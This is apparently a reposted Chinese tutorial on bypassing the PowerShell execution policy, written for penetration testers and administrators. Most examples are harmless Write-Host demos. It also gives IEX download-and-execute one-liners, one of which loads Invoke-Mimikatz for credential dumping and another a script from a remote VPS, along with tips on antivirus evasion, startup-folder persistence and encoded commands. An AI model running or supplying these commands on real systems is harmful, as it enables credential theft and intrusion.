绕过PowerShell执行策略方法总结

默认情况下,PowerShell配置为阻止Windows系统上执行PowerShell脚本。对于渗透测试人员,系统管理员和开发人员而言,这可能是一个障碍,但并非必须如此。

 

什么是PowerShell执行策略?

PowerShell execution policy 是用来决定哪些类型的PowerShell脚本可以在系统中运行。默认情况下,它是“Restricted”(限制)的。然而,这个设置从来没有算是一种安全控制。相反,它会阻碍管理员操作。这就是为什么我们有这么多绕过它的方法。

 

为什么我要绕过执行政策?

因为人们希望使用脚本实现自动化操作,powershell为什么受到管理员、渗透测试人员、黑客的青睐,原因如下:

Windows原生支持
能够调用Windows API
能够运行命令而无需写入磁盘(可直接加载至内存,无文件落地)
能够避免被反病毒工具检测
大多数应用程序白名单解决方案已将其标记为“受信任”
一种用于编写许多开源Pentest工具包的媒介
 

如何查看执行策略

在能够使用所有完美功能的PowerShell之前,攻击者可以绕过“Restricted”(限制)execution policy。你可以通过PowerShell命令“executionpolicy“看看当前的配置。如果你第一次看它的设置可能设置为“Restricted”(限制),如下图所示:

Get-ExecutionPolicy

 

 

同样值得注意的是execution policy可以在系统中设置不同的级别。要查看他们使用下面的命令列表。更多信息可以点击这里查看微软的“Set-ExecutionPolicy” 。

Get-ExecutionPolicy -List | Format-Table -AutoSize

 

 

我们先将powershell执行策略设置为Restricted(限制),方便进行后续测试绕过PowerShell Execution Policy。

Set-ExecutionPolicy Restricted

 

 

 

绕过PowerShell执行策略

将脚本粘贴到Interactive PowerShell控制台中
复制并粘贴你的PowerShell脚到一个交互式控制台,如下图所示。但是,请记住,你将受到当前用户权限限制。这是最基本的例子,当你有一个交互控制台时,可以方便快速地运行脚本。此外,这种技术不会更改配置或需要写入磁盘。

Write-Host "It's run!";

 

 

echo脚本并将其通过管道传递到PowerShell
简单的ECHO脚本到PowerShell的标准输入。这种技术不会导致配置的更改或要求写入磁盘。

Echo Write-Host "It's run!" | PowerShell.exe -noprofile -

 

 

从文件读取脚本并通过管道传输到PowerShell
使用Windows的"type"命令或PowerShell的"Get-Content"命令来从磁盘读取你的脚本并输入到标准的PowerShell中,这种技术不会导致配置文件的更改,但是需要写入磁盘。然而,如果你想试图避免写到磁盘,你可以从网络上远程读取你的脚本。

例1:Get-Content Powershell命令

Get-Content .\demo.ps1 | PowerShell.exe -noprofile -

 

 

例2:Type 命令

type .\demo.ps1 | PowerShell.exe -noprofile -

 

 

从远程下载脚本并通过IEX执行
这种技术可以用来从网上下载一个PowerShell脚本并执行它无需写入磁盘。它也不会导致任何配置更改。

powershell -nop -c "iex(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/Micr067/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1')"

如无法使用github下载可换vps:

powershell -nop -c "iex(New-Object Net.WebClient).DownloadString('http://182.xxx.xxx.156:10001/demo.ps1')"

 

 

使用使用command命令
这种技术和通过复制和粘贴来执行一个脚本是非常相似的,但它可以做没有交互式控制台。这是很好的方式适合执行简单的脚本,但更复杂的脚本通常容易出现错误。这种技术不会导致配置更改或要求写入磁盘。

例1:完整的命令

Powershell -command "Write-Host "Its run!"";

 

 

示例2:简短命令(-c)

Powershell -c "Write-Host "It’s run!'"

可能还值得注意的是,您可以将这些类型的PowerShell命令放入批处理文件中,并将它们放入自动运行的位置(如所有用户的启动文件夹),以在权限提升期间提供帮助。

 

 

使用EncodeCommand命令
这和使用"Command"命令非常像,但它为所有的脚本提供了一个Unicode / Base64编码串。通过这种方式加密你的脚本可以帮你绕过所有通过"Command"执行时会遇到的错误。这种技术不会导致配置文件的更改或要求写入磁盘。

例1: 完整的命令

$command = "Write-Host 'Its run!'"

$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)

$encodedCommand = [Convert]::ToBase64String($bytes)

$encodedCommand

powershell.exe -EncodedCommand $encodedCommand

 

 

示例2:通过简短的命令使用编码字符串

powershell.exe -Enc VwByAGkAdABlAC0ASABvAHMAdAAgACcATQB5ACAAdgBvAGkAYwBlACAAaQBzACAAbQB5ACAAcABhAHMAcwBwAG8AcgB0ACwAIAB2AGUAcgBpAGYAeQAgAG0AZQAuA

 

 

内容版权声明:除非注明,否则皆为本站原创文章。

转载注明出处:https://www.heiqu.com/zydwpj.html